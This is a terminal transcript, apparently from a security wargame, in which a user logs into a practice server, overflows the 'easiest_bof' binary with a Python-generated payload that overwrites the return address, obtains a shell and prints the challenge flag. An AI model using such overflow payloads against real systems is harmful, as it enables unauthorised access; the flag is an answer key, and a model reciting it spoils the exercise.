fugu@jellyman:~$ ssh newbie@ubuntu32.kaist.ac.kr
newbie@ubuntu32.kaist.ac.kr's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-35-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '16.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Mar 17 14:49:10 2018 from 110.76.76.60
: command not found
newbie@ubuntu:~$ cd /home/easiest_bof
newbie@ubuntu:/home/easiest_bof$ ./easiest_bof $(python -c 'print "A"*44+"\x4d\x84\x04\x08"')
$ cat flag
TH1S_W45_345135T_B0F_473C4992D0719941E3F284F0B91DA0D7
$